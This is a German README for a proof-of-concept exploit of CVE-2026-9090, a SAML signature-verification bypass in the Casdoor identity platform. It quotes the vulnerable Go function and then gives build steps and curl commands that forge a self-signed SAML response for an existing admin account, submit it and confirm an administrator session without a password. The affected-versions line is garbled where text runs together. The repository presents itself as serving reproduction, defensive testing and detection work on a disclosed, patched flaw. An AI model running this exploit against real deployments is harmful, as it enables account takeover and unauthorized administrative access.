
PoC für CVE-2026-9090 — Casdoor-SAML-Signaturumgehung (CWE-347). Nur zur Reproduktion; koordiniert über CERT/CC VU#780781.
Proof-of-Concept für CVE-2026-9090 (CWE-347, Fehlerhafte Überprüfung der kryptografischen Signatur), eine Authentifizierungsumgehung in der Identitätsplattform Casdoor.
Quellenangabe. CVE-2026-9090 wurde von CERT/CC veröffentlicht und koordiniert — siehe VU#780781. Dieses Repository ist ein unabhängiges, rein auf Reproduktion ausgelegtes Proof-of-Concept für die bereits öffentlich bekannte Schwachstelle; es beansprucht nicht die Entdeckung des Problems.
Wenn Casdoor eine SAML-Antwort unter POST /api/acs verarbeitet (Login über einen externen SAML-Anbieter), baut die
Funktion buildSpCertificateStore den Vertrauensanker für die Signatur aus dem <X509Certificate>, das in der eingehenden
SAML-Antwort selbst eingebettet ist, anstatt aus dem für den Identitätsanbieter registrierten Zertifikat.
// object/saml_sp.go (vulnerable, <= v2.362.0)
func buildSpCertificateStore(provider *Provider, samlResponse string) (certStore ..., err error) {
certEncodedData := ""
if samlResponse != "" {
certEncodedData, err = getCertificateFromSamlResponse(samlResponse, provider.Type) // <-- cert from the response
} else if provider.IdP != "" {
certEncodedData = provider.IdP
}
...
certStore = dsig.MemoryX509CertificateStore{ Roots: []*x509.Certificate{idpCert} }
}
Da der Vertrauensanker aus der Antwort stammt, kann ein Angreifer eine SAML-Assertion mit einem eigenen
selbstsignierten Zertifikat signieren, dieses Zertifikat in die Antwort einfügen, und die Signatur wird
gegen sich selbst validiert. Wird die NameID auf einen vorhandenen Benutzer gesetzt, wird sie auf dieses Konto aufgelöst —
handelt es sich um einen Administrator, erhält der Angreifer eine Administrator-Sitzung. Es ist kein Passwort beteiligt.
<= 2.362.0provider.IdP auf
(buildSpCertificateStore(provider *Provider) liest die Antwort nicht mehr aus). Aktualisieren Sie auf eine aktuelle Version.forge_saml.go erstellt eine vollständige SAML-Response, deren Assertion mit einem selbstsignierten Wegwerf-Schlüssel signiert ist,
dessen Zertifikat in <ds:KeyInfo><ds:X509Certificate> eingebettet ist. Es verwendet dieselbe
goxmldsig-Bibliothek wie Casdoor, sodass Kanonisierungs- und Signaturformat unverändert akzeptiert werden.
go mod init cve-2026-9090-poc # or: go build directly in this repo
go get github.com/beevik/etree github.com/russellhaering/goxmldsig
go build -o forge_saml forge_saml.go
# 1) forge a response for an existing (admin) NameID, aimed at the target's ACS URL
./forge_saml \
--nameid [email protected] \
--acs http://TARGET:8000/api/acs \
--audience http://TARGET:8000/api/acs \
> forged.b64
# 2) submit it. NOTE: Casdoor url-unescapes SAMLResponse before base64-decoding, so the value MUST be
# url-encoded (a raw '+' would be turned into a space -> "illegal base64 data").
ENC=$(python3 -c 'import urllib.parse;print(urllib.parse.quote(open("forged.b64").read().strip()))')
curl -s -c cookie.txt \
"http://TARGET:8000/api/login?application=APP&organization=ORG&provider=SAML_PROVIDER&method=signup" \
-H 'Content-Type: application/json' \
-d "{\"application\":\"APP\",\"organization\":\"ORG\",\"provider\":\"SAML_PROVIDER\",\"method\":\"signup\",\"type\":\"login\",\"samlResponse\":\"$ENC\"}"
# -> {"status":"ok","data":"ORG/admin"}
# 3) confirm the session
curl -s -b cookie.txt http://TARGET:8000/api/get-account | jq '.data | {name,isAdmin,owner}'
APP, ORG und SAML_PROVIDER sind der Anwendungsname, die Organisation bzw. der an diese Anwendung gebundene SAML-Anbieter.
Die Registrierung einer Casdoor-Anwendung (einschließlich der gebundenen Anbieter) ist unter
/api/get-application?id=admin/<name> abrufbar.
Dieses PoC wird für eine behobene, öffentlich bekannt gegebene Schwachstelle veröffentlicht — für defensive Tests, Detection
Engineering und Forschung. Führen Sie es nur gegen Systeme aus, für deren Test Sie autorisiert sind. Die korrekte Abhilfe
besteht darin, Casdoor auf eine Version zu aktualisieren, in der buildSpCertificateStore gegen das registrierte
Anbieterzertifikat validiert.
MIT — siehe LICENSE.